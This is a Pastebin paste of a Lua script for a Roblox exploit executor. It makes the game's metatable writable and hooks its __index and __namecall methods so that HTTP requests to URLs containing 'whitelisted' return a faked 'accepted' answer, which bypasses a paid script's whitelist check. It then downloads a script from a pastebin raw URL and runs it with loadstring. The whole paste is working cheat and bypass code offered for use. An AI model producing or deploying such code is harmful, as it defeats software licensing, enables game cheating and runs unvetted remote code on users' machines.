karobloxYT

learn xpcall

Nov 27th, 2019
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.40 KB | None | 0 0
  1. assert(getrawmetatable, "nope")
  2. local mt = getrawmetatable(game)
  3. local call = mt.__namecall
  4. local indx = mt.__index
  5. local newcclosure = newcclosure or function(f)
  6. return f
  7. end
  8.  
  9. local callcheck = checkcaller or is_protosmasher_caller
  10. local write = setreadonly or make_writeable
  11.  
  12. xpcall(function()
  13. write(mt, false)
  14. end, function()
  15. error'cant make metatable writeable'
  16. end)
  17.  
  18. mt.__index = newcclosure(function(t, k)
  19. if t == game and callcheck() then
  20. if k == 'HttpGet' then
  21. return newcclosure(function(self, url, ...)
  22. return game:HttpGet(url, ...)
  23. end)
  24. elseif k == 'HttpGetAsync' then
  25. return newcclosure(function(self, url, ...)
  26. return game:HttpGetAsync(url, ...)
  27. end)
  28. end
  29. end
  30. return indx(t, k)
  31. end)
  32.  
  33. mt.__namecall = newcclosure(function(self, ...)
  34. local pack = {...}
  35. local method = table.remove(pack)
  36.  
  37. if method == 'HttpGet' or method == 'HttpGetAsync' and callcheck() then
  38. local url = tostring(pack[1])
  39. if string.find(url, "whitelisted") then
  40. return "accepted "
  41. end
  42. end
  43.  
  44. return call(self, ...)
  45. end)
  46.  
  47. loadstring(game:HttpGet("https://pastebin.com/raw/NxLHGZy5", true))()
  48.  
  49.  
  50. --https://www.roblox.com/games/171391948/Update-Vehicle-Simulator-Beta
  51. -- syntax highlighter by josh @v3rmillion.net
Add Comment
Please, Sign In to add comment